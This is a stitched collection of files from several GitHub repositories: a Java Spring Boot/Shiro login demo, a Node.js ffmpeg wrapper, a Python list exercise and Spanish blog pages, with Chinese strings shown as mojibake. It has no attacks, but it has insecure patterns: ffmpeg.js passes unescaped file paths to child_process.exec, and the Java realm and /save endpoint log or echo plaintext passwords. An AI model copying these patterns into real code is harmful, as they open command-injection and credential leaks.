* @modified By๏ผ
*/
@RestController
@RequestMapping("pub")
public class PublicController {
@RequestMapping("need_login")
public Object needLogin(){
return "้่ฆ็ปๅฝๆ่ฝ่ฎฟ้ฎ";
}
@RequestMapping("not_permit")
public Object notPermis(){
return "ๆฒกๆๆ้๏ผๆ็ป่ฎฟ้ฎ";
}
@RequestMapping("index")
public Object index(){
return "index";
}
}
```
InitController.java
```package com.kfit.mybatis.controller;
import com.kfit.mybatis.domain.Product;
import com.kfit.mybatis.domain.UserInfo;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.*;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.List;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/6/23 17:13
* @modified By๏ผ
*/
@Controller
public class InitController {
@RequestMapping("/websocket")
public String init() {
return "index.html";
}
@GetMapping("/hello")
public String index(Model model) throws ParseException {
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
Product product = new Product("่ฑ็ๆฒน", 129, sdf.parse("2018-02-18"));
model.addAttribute("product", product);
return "daily";
}
@RequestMapping(value = { "/addProduct" }, method = RequestMethod.GET)
public String showaddProduct(Model model)throws ParseException {
//List<Product> saleTypes = new ArrayList<Product>();
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
UserInfo userInfo = new UserInfo("","");
model.addAttribute("userInfo", userInfo);
return "addProduct";
}
@RequestMapping(value = { "/saveProduct" }, method = RequestMethod.POST)
public String saveprodcut(Model model, String name) throws ParseException {
//List productList = DAO.loadAllProducts();
//model.addAttribute("productList", productList);
List productList = InitController.loadAllProducts();
model.addAttribute("productList", productList);
return "springel";
}
@ResponseBody
@RequestMapping(value="/save",method=RequestMethod.POST)
public String add(@ModelAttribute UserInfo user){
String username = user.getName();
String password = user.getContent();
return username+"__"+password;
}
public static List<Product> loadAllProducts() {
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
List<Product> products = new ArrayList<Product>();
try {
products.add(new Product("่ฑ็ๆฒน", Integer.valueOf(125), sdf.parse("2018-02-18")));
products.add(new Product("่ๆ้ฅผๅนฒ", Integer.valueOf(15), sdf.parse("208-02-15")));
products.add(new Product("ๆฟ้", Integer.valueOf(45), sdf.parse("2019-02-20")));
products.add(new Product("่ฐๅๆฒน", Integer.valueOf(20), sdf.parse("2019-02-21")));
products.add(new Product("ๅคง่ฑๆฒน", Integer.valueOf(49), sdf.parse("2019-02-15")));
products.add(new Product("็็ฑณๆฑ", Integer.valueOf(80), sdf.parse("2019-02-17")));
} catch (ParseException ex) {
throw new RuntimeException("Invalid date");
}
return products;
}
}
```
Man.java
```package com.kfit.mybatis.service.Impl;
import com.kfit.mybatis.service.IPerson;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/7/13 12:18
* @modified By๏ผ
*/
public class Man implements IPerson {
@Override
public void say(String id) {
System.out.println("man say:"+id);
}
}
```
IPerson.java
```package com.kfit.mybatis.service;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/7/13 12:18
* @modified By๏ผ
*/
public interface IPerson {
void say(String id);
}```
RoleMapper.java
```package com.kfit.mybatis.dao;
import com.kfit.mybatis.domain.Role;
import org.apache.ibatis.annotations.Insert;
import tk.mybatis.mapper.common.Mapper;
public interface RoleMapper extends Mapper<Role> {
}```
User.java
```package com.kfit.mybatis.domain;
import java.util.Date;
import java.util.List;
import javax.persistence.*;
@Table(name = "admin")
public class User {
private Integer id;
private String username;
private String password;
@Column(name = "create_time")
private Date createTime;
private String salt;
//่ง่ฒๅ่กจ
private List<Role> roleList;
//ๆ้ๅ่กจ
private List<Permission> permissionsList;
public List<Permission> getPermissionsList() {
return permissionsList;
}
public void setPermissionsList(List<Permission> permissionsList) {
this.permissionsList = permissionsList;
}
public List<Role> getRoleList() {
return roleList;
}
public void setRoleList(List<Role> roleList) {
this.roleList = roleList;
}
/**
* @return id
*/
public Integer getId() {
return id;
}
/**
* @param id
*/
public void setId(Integer id) {
this.id = id;
}
/**
* @return username
*/
public String getUsername() {
return username;
}
/**
* @param username
*/
public void setUsername(String username) {
this.username = username == null ? null : username.trim();
}
/**
* @return password
*/
public String getPassword() {
return password;
}
/**
* @param password
*/
public void setPassword(String password) {
this.password = password == null ? null : password.trim();
}
/**
* @return create_time
*/
public Date getCreateTime() {
return createTime;
}
/**
* @param createTime
*/
public void setCreateTime(Date createTime) {
this.createTime = createTime;
}
/**
* @return salt
*/
public String getSalt() {
return salt;
}
/**
* @param salt
*/
public void setSalt(String salt) {
this.salt = salt == null ? null : salt.trim();
}
}```
ProducerInt.java
```package com.kfit.mybatis.test;
import com.kfit.mybatis.dao.UserMapper;
import com.kfit.mybatis.domain.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/6/29 23:17
* @modified By๏ผ
*/
//@Component
public class ProducerInt {
// @Autowired
//UserMapper userMapper;
private User clerk;
public ProducerInt(User clerk){
this.clerk = clerk;
}
public void run() {
//userMapper.insert(this.clerk);
System.out.println("็ไบง่
ๅผๅง็ไบงๆดๆฐไบ..................");
}
}
```
OperationLogSaver.java
```package com.kfit.mybatis;
import com.kfit.mybatis.domain.User;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.LinkedBlockingQueue;
/**
* @Author: youq
* @Description: ็จไบๅๆฐๆฎๅบไธญๅๅ
ฅๆไฝๆฅๅฟ
* @Date: Created in 14:56 2018/06/29
* @Modified By:
*/
@Service
public class OperationLogSaver {
protected static Logger logger = LoggerFactory.getLogger(OperationLogSaver.class);
@Autowired
private DaoUtil daoUtil;
private LinkedBlockingQueue<User> queue;
private static int dbCacheSize = 100;
private static Thread saverdbThread;
public OperationLogSaver() {
init();
}
public void putRecord(List<User> records){
queue.addAll(records);
}
public void putRecord(User record){
try {
queue.put(record);
} catch (InterruptedException e) {
logger.error(e.getMessage(),e);
}
}
public void init() {
queue = new LinkedBlockingQueue<User>();
saverdbThread = new Thread("operationLog-Saver") {
@Override
public void run() {
try {
while (true) {
if(null == queue || queue.isEmpty()){
Thread.sleep(500);
//System.out.println("sleep 500");
continue;
}
logger.info("ๆปไธชๆฐ "+ queue.size());
List<User> list = new ArrayList<User>();
queue.drainTo(list, dbCacheSize);
logger.info("ๅค็็ไธชๆฐ "+ list.size());
if(null != list && list.size() > 0){
daoUtil.batchInsert(list);
Thread.sleep(3000);
}
}
} catch (Exception t) {
logger.error("Unexpected exception on Thread %s!", t);
}
}
};
saverdbThread.start();
}
}
```
QuickStartTest5_2.java
```package com.kfit.mybatis;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.mgt.DefaultSecurityManager;
import org.apache.shiro.realm.SimpleAccountRealm;
import org.apache.shiro.subject.Subject;
import org.junit.Before;
import org.junit.Test;
/**
* ่ชๅฎไนrealm
* @author ๏ผyouq
* @date ๏ผCreated in 2019/8/10 14:38
* @modified By๏ผ
*/
public class QuickStartTest5_2 {
private CustomRealm accountRealm = new CustomRealm();
private DefaultSecurityManager defaultSecurityManager = new DefaultSecurityManager();
@Before
public void init(){
//ๅๅงๅๆฐๆฎๆบ
// accountRealm.addAccount("xdclass","123");
// accountRealm.addAccount("jack","456");
//ๆๅปบ็ฏๅข
defaultSecurityManager.setRealm(accountRealm);
SecurityUtils.setSecurityManager(defaultSecurityManager);
}
@Test
public void testAuthentication(){
//ๅฝๅๆไฝไธปไฝ๏ผapplication user
Subject subject = SecurityUtils.getSubject();
//็จๆท่พๅ
ฅ็่ดฆๅทๅๅฏ็
UsernamePasswordToken usernamePasswordToken =
new UsernamePasswordToken("xdclass33","123");
subject.login(usernamePasswordToken);
System.out.println("่ฎค่ฏ็ปๆ๏ผ"+subject.isAuthenticated()+subject.getPrincipals());
System.out.println("ๆฏๅฆๆ่ง่ฒ๏ผ"+subject.hasRole("role"));
System.out.println("ๆฏๅฆๆๆ้๏ผ"+subject.isPermitted("pubd:buy:srwe"));
}
}
```
UserMapper.java
```package com.kfit.mybatis.dao;
import com.kfit.mybatis.domain.User;
import org.apache.ibatis.annotations.Insert;
import tk.mybatis.mapper.common.Mapper;
public interface UserMapper extends Mapper<User> {
}```
CustomRealm.java
```package com.kfit.mybatis.config;
import com.kfit.mybatis.dao.UserMapper;
import com.kfit.mybatis.domain.User;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.authz.SimpleAuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
import org.springframework.beans.factory.annotation.Autowired;
import java.util.HashSet;
import java.util.Set;
/**
* ่ชๅฎไนrealm
* @author ๏ผyouq
* @date ๏ผCreated in 2019/8/10 14:32
* @modified By๏ผ
*/
//่ฎค่ฏ (authentication) ๅๆๆ (authorization)
public class CustomRealm extends AuthorizingRealm {
@Autowired
private UserMapper userMapper;
//็จๆท็ปๅฝ็ๆถๅ่ฐ็จ
//้ๅ่ฎค่ฏๆนๆณ
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
//ไปtoken่ทๅ่บซไปฝไฟกๆฏ๏ผtokenไปฃ่กจ็จๆท่พๅ
ฅ็ไฟกๆฏ
String name = (String) token.getPrincipal();
//String pwd = getPwdByUserNameFromDB(name);
User user = new User();
user.setUsername(name);
User newUser = userMapper.selectOne(user);
String pwd = null;
if(newUser != null){
pwd = newUser.getPassword();
}
System.out.println("่ฎค่ฏ doGetAuthenticationInfo "+name+" ๅฏ็ "+pwd);
if (pwd==null || "".equals(pwd)){
return null;
}
SimpleAuthenticationInfo simpleAuthenticationInfo =
new SimpleAuthenticationInfo(name,pwd,this.getName());
return simpleAuthenticationInfo;
}
//็จๆทๆ้ๆ ก้ช็ๆถๅ่ฐ็จ
//้ๅๆๆๆนๆณ
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
System.out.println("ๆๆ doGetAuthorizationInfo "+principalCollection.getPrimaryPrincipal());
String name = (String) principalCollection.getPrimaryPrincipal();
Set<String> permissions = getPermissionsByNameFromDB(name);
Set<String> roles = getRoleByNameFromDB(name);
SimpleAuthorizationInfo simpleAuthorizationInfo = new SimpleAuthorizationInfo();
simpleAuthorizationInfo.setRoles(roles);
simpleAuthorizationInfo.setStringPermissions(permissions);
return simpleAuthorizationInfo;
}
private String getPwdByUserNameFromDB(String name){
return "123";
}
private Set<String> getPermissionsByNameFromDB(String name){
Set<String> set = new HashSet<>();
set.add("video_update");
set.add("video:buy");
set.add("pub:*");
return set;
}
private Set<String> getRoleByNameFromDB(String name){
Set<String> set = new HashSet<>();
set.add("role");
set.add("admin");
return set;
}
}
```
WebSocketTest.java
```package com.kfit.mybatis.test;
import java.net.URI;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.time.LocalDate;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.util.Date;
import javax.websocket.ClientEndpoint;
import javax.websocket.ContainerProvider;
import javax.websocket.Session;
import javax.websocket.WebSocketContainer;
@ClientEndpoint
public class WebSocketTest {
private String deviceId;
private Session session;
public WebSocketTest () {
}
public WebSocketTest (String deviceId) {
this.deviceId = deviceId;
}
/*protected*/public boolean start() {
WebSocketContainer container = ContainerProvider.getWebSocketContainer();
//ws://localhost:80/websocket
// String uri = "ws://192.168.12.161/orderapp/recommend?role=1&group=recommend&dldm="+ deviceId;
String uri = "ws://localhost:80/websocket/"+ deviceId;
System.out.println("Connecting to " + uri);
try {
session = container.connectToServer(WebSocketTest.class, URI.create(uri));
System.out.println("count: " + deviceId);
} catch (Exception e) {
e.printStackTrace();
return false;
}
return true;
}
/**
ย * ่ฎก็ฎไธคไธชๆถ้ด็นไน้ด็ๅคฉๆฐ
ย */
public static long getDateDays(String date1,String date2){
long days = 0;
try {
DateTimeFormatter df2 = DateTimeFormatter.ofPattern("yyyy-MM-dd");
LocalDate localDate1 = LocalDate.parse(date1);
LocalDate localDate2 = LocalDate.parse(date2);
// LocalDate now = LocalDate.now();
long fa = localDate2.toEpochDay();
days = localDate2.toEpochDay() - localDate1.toEpochDay();
System.out.println(days);
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
} catch (Exception e) {
e.printStackTrace();
}
return days;
}
public static void main(String[] args) {
System.out.println(getDateDays("1970-01-02","2019-02-28"));
// for (int i = 1; i< 5; i++) {
// WebSocketTest wSocketTest = new WebSocketTest(String.valueOf(i));
// if (!wSocketTest.start()) {
// System.out.println("ๆต่ฏ็ปๆ๏ผ");
// break;
// }
// }
}
}```
UserRoleMapper.java
```package com.kfit.mybatis.dao;
import com.kfit.mybatis.domain.UserRole;
import org.apache.ibatis.annotations.Insert;
import tk.mybatis.mapper.common.Mapper;
public interface UserRoleMapper extends Mapper<UserRole> {
}```
DaoUtil.java
```package com.kfit.mybatis;
import java.util.List;
import com.kfit.mybatis.dao.UserMapper;
import com.kfit.mybatis.domain.User;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
@Component
public class DaoUtil {
protected final Logger logger = LoggerFactory.getLogger(getClass());
//@Autowired
// private UserMapper userMapper;
public final boolean batchInsert(final List<User> list) {
boolean rt = true;
int size = list.size();
try {
for (int i = 0; i < size; i++) {
User paramObj = list.get(i);
//userMapper.insert(paramObj);
}
} catch (Exception e) {
logger.error(e.getMessage(),e);
rt = false;
}
return rt;
}
}```
DemoController.java
```package com.kfit.mybatis.controller;
import com.kfit.mybatis.OperationLogSaver;
import com.kfit.mybatis.dao.UserMapper;
import com.kfit.mybatis.service.UserService;
import com.kfit.mybatis.domain.User;
import com.kfit.mybatis.other.DisplayMessage;
import com.kfit.mybatis.test.WebSocketTest;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import javax.annotation.Resource;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/2/24 20:40
* @modified By๏ผ
*/
@RestController
public class DemoController {
@Resource
private UserService userService;
@Autowired
private UserMapper userMapper;
@Autowired
private OperationLogSaver operationLogSaver;
@GetMapping("/socket")
public Object testh(@RequestParam("num") Integer num){
int begin = 1000;
for (int i = begin; i< num+begin; i++) {
WebSocketTest wSocketTest = new WebSocketTest(String.valueOf(i));
if (!wSocketTest.start()) {
System.out.println("ๆต่ฏ็ปๆ๏ผ");
break;
}
}
return "ok";
}
@GetMapping("/video/update")
public Object update() {
Map map = new HashMap<>();
map.put("name","update");
return map;
}
@GetMapping("/authc/update")
public Object authc() {
Map map = new HashMap<>();
map.put("name","authc");
return map;
}
@GetMapping("/pub/play")
public Object test1() {
Subject subject = SecurityUtils.getSubject();
System.out.println("sessionid : "+subject.getSession().getId());
Map map = new HashMap<>();
map.put("sessionid",subject.getSession().getId());
map.put("name",subject.getPrincipal());
return map;
}
@GetMapping("/pub/login")
public Object test(@RequestParam(value="user"/*, required=false,defaultValue="ไบๅฝๅฎถๅฐD"*/) String username,
@RequestParam(value="pwd"/*, required=false,defaultValue="123456"*/) String pwd) {
Subject subject = SecurityUtils.getSubject();
//็จๆท่พๅ
ฅ็่ดฆๅทๅๅฏ็
UsernamePasswordToken usernamePasswordToken =
new UsernamePasswordToken(username,pwd);
try {
subject.login(usernamePasswordToken);
System.out.println("sessionid : "+subject.getSession().getId());
} catch (AuthenticationException e) {
e.printStackTrace();
System.out.println("็ปๅฝๅคฑ่ดฅ๏ผ็จๆทๅๆๅฏ็ ้่ฏฏ");
return "็ปๅฝๅคฑ่ดฅ";
}
User user = new User();
user.setUsername(username);
User newUser = userMapper.selectOne(user);
Map map = new HashMap<>();
map.put("user",user);
map.put("sessionid",subject.getSession().getId());
return map;
// for (int i = 0; i < 10; i++) {
// DisplayMessage thread1 = new DisplayMessage("็บฟ็จ1");
// thread1.setObject(userService);
// thread1.start();
// }
// return "ok";
// User user = new User();
// user.setId(1);
// user.setName("ไฝ ");
// user.setAge(34);
// userMapper.getUser(1);
// ไฟๅญๆไฝ่ฎฐๅฝ
// List<TSysUpdateLog> records = new ArrayList<>();
// ๅผๆญฅๅๆฅๅฟ
//ๆต่ฏ
/*User user1 = new User();
user1.setAge(234);
user1.setName("้ฉฌไบ1");
User user2 = new User();
user2.setId(16);
user2.setAge(234);
user2.setName("้ฉฌไบ2");
ArrayList<User> arrayList = new ArrayList<User>();
arrayList.add(user1);
arrayList.add(user2);
operationLogSaver.putRecord(arrayList);*/
}
}
```
WebSocketConfig.java
```package com.kfit.mybatis;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.socket.server.standard.ServerEndpointExporter;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/6/23 16:27
* @modified By๏ผ
*/
@Configuration
public class WebSocketConfig {
@Bean
public ServerEndpointExporter serverEndpointExporter() {
return new ServerEndpointExporter();
}
}
```
CheckCenterController.java
```package com.kfit.mybatis;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import java.io.IOException;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/6/23 16:37
* @modified By๏ผ
*/
@Controller
@RequestMapping("/checkcenter")
public class CheckCenterController {
private Logger log = LoggerFactory.getLogger(getClass());
//้กต้ข่ฏทๆฑ
@GetMapping("/socket/{cid}")
public ModelAndView socket(@PathVariable String cid) {
ModelAndView mav=new ModelAndView("/socket");
mav.addObject("cid", cid);
return mav;
}
//ๆจ้ๆฐๆฎๆฅๅฃ
@ResponseBody
@RequestMapping("/socket/push/{cid}")
public Object pushToWeb(@PathVariable String cid,String message) {
try {
WebSocketServer.sendInfo(message,cid);
} catch (IOException e) {
e.printStackTrace();
log.error(cid+"#"+e.getMessage());
return "error";
}
log.info(cid+"success");
return "ok";
}
}
```
RolePermissionMapper.java
```package com.kfit.mybatis.dao;
import com.kfit.mybatis.domain.RolePermission;
import org.apache.ibatis.annotations.Insert;
import tk.mybatis.mapper.common.Mapper;
public interface RolePermissionMapper extends Mapper<RolePermission> {
}```
UserService.java
```package com.kfit.mybatis.service;
import com.kfit.mybatis.dao.RoleMapper;
import com.kfit.mybatis.domain.Role;
import com.kfit.mybatis.domain.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Isolation;
import org.springframework.transaction.annotation.Propagation;
import org.springframework.transaction.annotation.Transactional;
import javax.annotation.Resource;
import java.util.List;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/2/24 21:56
* @modified By๏ผ
*/
@Service
public class UserService {
//@Resource
//private UserMapper userMapper;
@Autowired
private RoleMapper roleMapper;
//@Transactional(isolation = Isolation.READ_COMMITTED, propagation = Propagation.REQUIRES_NEW)
public Object getUser(int id) {
User user = null;
List list = roleMapper.selectAll();
System.out.println("role list ๏ผ"+list);
return list;
}
@Transactional
public int updateUser(User record) {
//return userMapper.updateUser(record);
return 1;
}
@Transactional(isolation = Isolation.SERIALIZABLE)
public void modifyUser() {
// User user = userMapper.getUser(1);
// user.setAge(user.getAge() + 1);
// userMapper.updateUser(user);
}
}
```
UserInfo.java
```package com.kfit.mybatis.domain;
/**
* @author ๏ผyouq
* @date ๏ผCreated in 2019/7/1 23:22
* @modified By๏ผ
*/
public class UserInfo {
private String name;
private String content;
public UserInfo(String name, String content) {
this.name = name;
this.content = content;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
}
```
MybatisApplication.java
```package com.kfit.mybatis;
import org.apache.ibatis.annotations.Mapper;
//import org.mybatis.spring.annotation.MapperScan;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import tk.mybatis.spring.annotation.MapperScan;
@SpringBootApplication
//@MapperScan(basePackages="com.kfit.mybatis",annotationClass = Mapper.class)
@MapperScan(basePackages = "com.kfit.mybatis.dao*")
public class MybatisApplication {
public static void main(String[] args) {
SpringApplication.run(MybatisApplication.class, args);
}
}
```
|
yuleichin/gitskills
|
yuleichin/gitskills
README.md
```# gitskills
learn git with liaoxuefeng
```
|
yuli-lovely/liff
|
yuli-lovely/liff
ffmpeg.js
```"use strict"
const fs = require('fs')
const child_process = require('child_process')
const path = require('path')
// _screenshotArr ๆชๅพๆฐ็ป
// params:
// video: /data/1/2/3/abc.mp4
// time: [00:00:01.100,00:00:01.200,00:00:01.400]
// screen: 540x960
// images: [/data/1/2/3/abc0.jpg,/data/1/2/3/abc1.jpg,/data/1/2/3/abc2.jpg]
// return:
// image
const _screenshotArr = (video, times, screen, images) => {
return new Promise((resolve, reject) => {
fs.exists(video, (ok) => {
if (!ok) {
reject(`video:"${video}" ๆไปถไธๅญๅจ`)
return
}
images = images || []
if (images.length == 0) {
for (let i = 0; i < times.length; i++) {
images.push(path.dirname(video) + '/' + path.basename(video).replace(path.extname(video), i + '.jpg'))
}
}
_screenshot(video, times, screen, images, times.length).then((imgs) => {
imgs.reverse()
resolve(imgs)
})
})
})
}
//ไธๅจๆฌๅฐ่ง้ข็่ฃๅช
const _screenshotArrOut = (video,pat, times, screen, images) => {
return new Promise((resolve, reject) => {
// fs.exists(video, (ok) => {
// if (!ok) {
// reject(`video:"${video}" ๆไปถไธๅญๅจ`)
// return
// }
images = images || []
if (images.length == 0) {
for (let i = 0; i < times.length; i++) {
images.push(pat+ path.basename(video).replace(path.extname(video), i + '.jpg'))
}
}
_screenshot(video, times, screen, images, times.length).then((imgs) => {
imgs.reverse()
resolve(imgs)
})
// })
})
}
// _screenshotOnce ๆชๅพ
// params:
// video: /data/1/2/3/abc.mp4
// time: 00:00:01
// screen: 540x960
// return:
// image
const _screenshotOnce = (video, time, screen, image) => {
return new Promise((resolve, reject) => {
fs.exists(video, (ok) => {
if (!ok) {
reject(`video:"${video}" ๆไปถไธๅญๅจ`)
return
}
image = image || path.dirname(video) + '/' + path.basename(video).replace(path.extname(video), '.jpg')
_screenshot(video, [time], screen, [image], 1).then((imgs) => {
resolve(imgs[0])
})
})
})
}
// _screenshot ๅพช็ฏๆชๅพ
const _screenshot = (video, times, screen, images, max) => {
return new Promise((resolve) => {
let arrImage = []
let cmd = `ffmpeg -i "${video}" -s "${screen}" -y -f image2 -ss "${times[max-1]}" -frames 1 "${images[max-1]}"`
child_process.exec(cmd, function (err, stdout, stderr) {
let image = ""
let arr = stderr.split("\n")
for (let v in arr) {
let substr = arr[v].match(/Output #0, image2, to '([\s\S]+)':/)
if (substr) {
image = substr[1]
}
}
arrImage.push(image)
max--
if (max == 0) {
return resolve(arrImage)
}
_screenshot(video, times, screen, images, max).then((imgs) => {
for (let i = 0; i < imgs.length; i++) {
arrImage.push(imgs[i])
}
return resolve(arrImage)
})
})
})
}
// _info ๆชๅพ
// params:
// video: /data/1/2/3/abc.mp4
const _info = (video) => {
return new Promise((resolve, reject) => {
fs.exists(video, (ok) => {
if (!ok) {
reject(`video:"${video}" ๆไปถไธๅญๅจ`)
return
}
let cmd = `ffmpeg -i "${video}" `
child_process.exec(cmd, function (err, stdout, stderr) {
let arr = stderr.split("\n")
let duration = ""
let start = ""
let bitrate = ""
let video = ""
let audio = ""
let videoScreen = ""
let audioSampleRate = ""
for (let v in arr) {
let substr = ""
substr = arr[v].match(/Duration: ([\s\S]+), start: ([\s\S]+), bitrate: ([\s\S]+)/)
if (substr) {
duration = substr[1]
start = substr[2]
bitrate = substr[3]
}
substr = arr[v].match(/Video: ([\s\S]+)/)
if (substr) {
video = substr[1]
}
substr = arr[v].match(/Audio: ([\s\S]+)/)
if (substr) {
audio = substr[1]
}
}
try {
videoScreen = video.split(",")[2].split(" ")[1]
} catch (e) {
reject(`video:"${video}" ่ง้ขๅ่พจ็่ฏๅซๅคฑ่ดฅ`)
return
}
try {
audioSampleRate = audio.split(",")[1].split(" ")[1]
} catch (e) {
reject(`video:"${video}" ้ณ้ข้ๆ ท็่ฏๅซๅคฑ่ดฅ`)
return
}
resolve({
duration: duration,
start: start,
bitrate: bitrate,
video: video,
audio: audio,
videoScreen: videoScreen,
audioSampleRate: audioSampleRate,
});
return
})
})
})
}
module.exports = {
name: 'ffmpeg',
Info: _info,
ScreenshotOnce: _screenshotOnce,
ScreenshotArr: _screenshotArr,
ScreenshotArrOut:_screenshotArrOut
}```
README.md
```# liff
้กน็ฎๅฎ็ฐไบffmpeg็่ฐ็จๆฅๅฃ
## Option:
ๆฌๆบๅฎ่ฃ
:
```sh
npm install git+http://git.liebaopay.com/yuli/liff.git
``````
test.js
```"use strict"
const ffmpeg = require('./index')
const util = require('util')
let mp4="/Users/lijian/code/node/git.liebaopay.com/yuli/liff/3.mp4"
let ti = "00:00:05"
let screen = "540x960"
// ffmpeg.Info(mp4).then((info)=>{
// console.log(info)
// },()=>{})
// ffmpeg.ScreenshotOnce(mp4,ti,screen,'/Users/lijian/code/node/git.liebaopay.com/yuli/liff/4.jpg').then((image)=>{
// console.log(image)
// },(err)=>{
// console.log(err)
// })
// ffmpeg.ScreenshotOnce(mp4,ti,screen).then((image)=>{
// console.log(image)
// },(err)=>{
// console.log(err)
// })
ffmpeg.ScreenshotArr(mp4,["00:00:05.000","00:00:05.200","00:00:05.400"],screen).then((images)=>{
console.log(images)
})```
index.js
```"use strict"
module.exports=require('./lib/ffmpeg')```
|
yuliana20/helloworld
|
yuliana20/helloworld
README.md
```# helloworld
proyecto sena
estudiante de ADSI, vivo en medellin
estoy muy emocionada de aprender nuevas cosas.
```
|
yulianalbisu/practicando-listas
|
yulianalbisu/practicando-listas
listas.py
```lista1=['s', 'e', 'a', 'C','C', 'n', 'n', 'A']
#print(len(lista1))
#print(lista1[1:3])
#print(lista1[:3])
#print(lista1[4:])
#print(lista1[-1])
#print(lista1[-2:])
#print(lista1[:-3])
#lista = [0,1,2,3,4,5,6,7,8,9,'MITTEN',10,11,2,2]
#lista2 = ['Z', 'X', 'P']
#print(lista)
#print(lista.count(10))
#print(lista.index('MITTEN'))
#print(lista.index(2,10))
#lista.reverse()
#print(lista)
#lista2.sort()
#print(lista2)
#lista.pop(4)
#print(lista)
#lista2.insert(0, 'Y')
#print(lista2)
#lista3-lista2[:]
#print(lista3)
#del lista3[1:3]
#print(lista3)
#lista{12 ='MITTEN'}
#print(lista)
#lista.remove(0)
#print(lista)
#lista3 = ['5a4b6t]
#lista3.split()
#print(lista3)
#lista4 = ['gato'.'girafa'.'aguila']
#lista4.split('.')
#lista3.isdigit()
#print(lista3)
#lista4.strip()```
|
yuliannydev/yuliannydev.github.io
|
yuliannydev/yuliannydev.github.io
sobre-mi.md
```---
title: "Sobre Mi"
date: 2020-11-25T22:31:27-04:00
---
------------
- Hola, mi nombre es **Yulianny Betancourt**, estoy terminando mi carrera de Ingenierรญa de Sistemas y en el camino he aprendido cosas que siento que debรญ mostrarle a los demรกs para que aprendan tambiรฉn.
- Soy Co-Fundadora de Raydesite, momento de pรบblicidad **Apoyanos en todas las redes**.
- Actualmente estudio en Platzi y comparto contenido en la comunidad. #NuncaParesDeAprender
- La razรณn por la que decidรญ crear este Blog es porque siempre que estoy haciendo algo nuevo en la pc veo que hay cantidades infinitas de tutoriales para cada cosa pero de 100, 5 sirven porque no saben explicar o porque obvian algo, por eso es que he decidido crear este espacio en el cual puedan aprender de la manera mรกs fรกcil posible y detallada sobre Tecnologรญas.
- Tambiรฉn te podrรกs conseguir cosas sobre Series de tv, Vรญdeojuegos, etc, etc, etc...
#### Lista de contenido
- [x] Tecnologรญas de Desarrollo.
- [x] Manjaro Linux (Sistema operativo).
- [x] Gnu/Linux.
- [x] Comunidad de Open source.
- [x] Backend.
- [x] Vรญdeojuegos (Mรณvil).
- [x] Software para PC/Laptops y sus configuraciones.
- [x] Series.
- [x] DC.
- [x] Entre otros...
#### Mรกs sobre mรญ y lo que hago:
[Github](https://github.com/yuliannydev/) |
[Mi Instagram](https://www.instagram.com/yuliannydev/) |
[Twitter personal](https://www.twitter.com/yuliannydev/) |
[Pรกgina Oficial de Raydesite](https://raydesite.com/) |
[Instagram Raydesite](https://www.instagram.com/raydesite/) |
[Twitter de Raydesite](https://www.twitter.com/raydesite/)
#### Links de intereses
>Recibe - 15% en [ClickUp](https://clickup.com/?fp_ref=yulianny36&promo=RAYCLICKUP)
#### Gracias por visitar mi blog personal, puedes brรญndarme un cafรฉ en [Ko-fi](https://ko-fi.com/raydesite/)
```
docker-con-flutter.md
```---
author: "Yulianny Betancourt"
title: "Docker Con Flutter"
date: 2020-12-23T00:17:32-04:00
description: "Contenedor de Docker para Flutter"
tags: ["Docker", "Flutter", "Flutter Web", "Emulador para Flutter"]
---
## Desarrolla con Flutter en PC de pocos recursos
